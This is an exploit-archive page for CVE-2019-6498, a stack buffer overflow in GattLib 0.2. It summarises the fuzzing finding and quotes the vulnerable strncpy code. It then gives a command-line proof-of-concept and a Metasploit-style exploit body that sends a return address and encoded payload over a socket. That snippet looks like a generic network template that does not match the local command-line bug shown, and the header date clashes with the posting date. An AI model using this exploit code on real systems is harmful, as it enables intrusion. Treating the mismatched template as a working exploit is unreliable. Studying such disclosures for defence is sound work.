exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GattLib 0.2 Stack Buffer Overflow

GattLib 0.2 Stack Buffer Overflow
Posted Jan 21, 2019
Authored by Dhiraj Mishra

GattLib version 0.2 suffers from a stack buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2019-6498
SHA-256 | abc54a3ecb91a2f0c11413922e317fa0853914846776f05005e2f5cdc2583758

GattLib 0.2 Stack Buffer Overflow

Change Mirror Download
# Exploit Title: stack-based overflow
# Date: 2019-11-21
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://labapart.com/
# Software Link: https://github.com/labapart/gattlib/issues/81
# Version: 0.2
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-6498
# References:
# https://github.com/labapart/gattlib/issues/81
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6498

## Summary:
While fuzzing gattlib (Gattlib is a library to access GATT information from
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based
buffer-overflow was observed.

## Vulnerable code from gattlib.c
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}

## Vulnerable code from discover.c
if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return 1;
}

connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,
0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}

## PoC

./discover `python -c 'print "A"*20'`

## MSF code

def exploit
connect

print_status("Sending #{payload.encoded.length} byte payload...")

# Building the buffer for transmission
buf = "A" * 20
buf += [ target.ret ].pack('V')
buf += payload.encoded

sock.put(buf)
sock.get

handler
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close